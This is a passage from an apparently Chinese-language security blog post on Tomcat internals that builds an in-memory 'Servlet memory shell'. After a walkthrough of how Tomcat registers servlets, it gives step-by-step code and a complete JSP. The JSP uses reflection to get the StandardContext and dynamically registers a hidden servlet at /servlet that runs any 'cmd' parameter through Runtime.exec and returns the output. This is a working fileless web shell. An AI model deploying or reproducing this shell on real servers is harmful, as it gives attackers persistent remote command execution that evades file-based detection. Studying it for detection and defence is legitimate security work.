                wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
            }
			... 
			// 設定ServletName屬性
            wrapper.setName(servlet.getServletName());
            Map<String,String> params = servlet.getParameterMap();
            for (Entry<String, String> entry : params.entrySet()) {
                wrapper.addInitParameter(entry.getKey(), entry.getValue());
            }
            wrapper.setRunAs(servlet.getRunAs());
            Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
            for (SecurityRoleRef roleRef : roleRefs) {
                wrapper.addSecurityReference(
                        roleRef.getName(), roleRef.getLink());
            }
            // 設定ServletClass屬性
            wrapper.setServletClass(servlet.getServletClass());
            ...
            wrapper.setOverridable(servlet.isOverridable());
            // 将包裝好的StandWrapper添加進ContainerBase的children屬性中
            context.addChild(wrapper);
            for (Entry<String, String> entry :
                webxml.getServletMappings().entrySet()) {
          
            //添加路徑映射
            context.addServletMappingDecoded(entry.getKey(), entry.getValue());
        }
        }
	}
           

最後通過

addServletMappingDecoded()

方法添加Servlet對應的url映射。

構造Servlet記憶體馬

通過對動态注冊Servlet流程進行分析我們可以得到動态注冊步驟步驟:

  • 1.編寫惡意

    Servlet

  • 2.獲得

    StandardContext

    對象
  • 3.通過

    StandardContext.createWrapper()

    建立

    StandardWrapper

    對象。
  • 4.設定

    StandardWrapper

    對象的

    loadOnStartup

    屬性值。
  • 5.設定

    StandardWrapper

    對象的

    ServletName

    屬性值。
  • 6.設定

    StandardWrapper

    對象的

    ServletClass

    屬性值。
  • 7.将

    StandardWrapper

    對象添加進

    StandardContext

    對象的

    children

    屬性中。
  • 8.通過

    StandardContext.addServletMappingDecoded()

    添加對應的路徑映射。
編寫惡意

Servlet

<%!
    public class Servlet_memshell extends HttpServlet {
        private String message;

        public void init() {
            message = "Servlet 指令執行輸出:\n";
        }

        public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if(cmd != null) {
                try {
                    InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
                    BufferedInputStream bins = new BufferedInputStream(ins);
                    resp.setContentType("text/html;charset=UTF-8");
                    resp.getWriter().write(message);
                    int len;
                    while ((len = bins.read()) != -1) {
                        resp.getWriter().write(len);
                    }
                }catch (Exception e){
                    resp.getWriter().println(e.getMessage());
                }
            }
        }

        public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            super.doPost(req, resp);
        }
    }

%>
           
獲得StandardContext對象
// 獲得StandardContext
    Field reqF=request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardCcontext = (StandardContext) req.getContext();
           
建立Wrapper
// 建立Wrapper
    Servlet_memshell servlet_memshell = new Servlet_memshell();
    Wrapper wrapper = standardCcontext.createWrapper();
           
設定Servlet屬性

設定loadOnStartup屬性

wrapper.setLoadOnStartup(1);
           

設定ServletName屬性

wrapper.setName(name);
           

設定ServletClass屬性

wrapper.setServlet(servlet_memshell);
           
動态注冊Servlet
// 将Wrapper添加到StandardContext
    standardCcontext.addChild(wrapper);
    standardCcontext.addServletMappingDecoded("/servlet",name);
           

Servlet記憶體馬完整代碼

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java"%>
<%!
    public class Servlet_memshell extends HttpServlet {
        private String message;

        public void init() {
            message = "Servlet 指令執行輸出:\n";
        }

        public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if(cmd != null) {
                try {
                    InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
                    BufferedInputStream bins = new BufferedInputStream(ins);
                    resp.setContentType("text/html;charset=UTF-8");
                    resp.getWriter().write(message);
                    int len;
                    while ((len = bins.read()) != -1) {
                        resp.getWriter().write(len);
                    }
                }catch (Exception e){
                    resp.getWriter().println(e.getMessage());
                }
            }
        }

        public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            super.doPost(req, resp);
        }
    }

%>
<%
    // 獲得StandardContext
    Field reqF=request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardCcontext = (StandardContext) req.getContext();

    // 建立Wrapper
    Servlet_memshell servlet_memshell = new Servlet_memshell();
    Wrapper wrapper = standardCcontext.createWrapper();
    String name = servlet_memshell.getClass().getSimpleName();
    wrapper.setName(name);
    wrapper.setLoadOnStartup(1);
    wrapper.setServlet(servlet_memshell);
    wrapper.setServletClass(servlet_memshell.getClass().getName());

    // 将Wrapper添加到StandardContext
    standardCcontext.addChild(wrapper);
    standardCcontext.addServletMappingDecoded("/servlet",name);
%>
           

參考連結

Request和Response的概述及其方法_pan-jin的部落格-CSDN部落格_response實作了什麼接口

servlet記憶體馬

Java安全學習——記憶體馬

Tomcat 記憶體馬(一)Listener型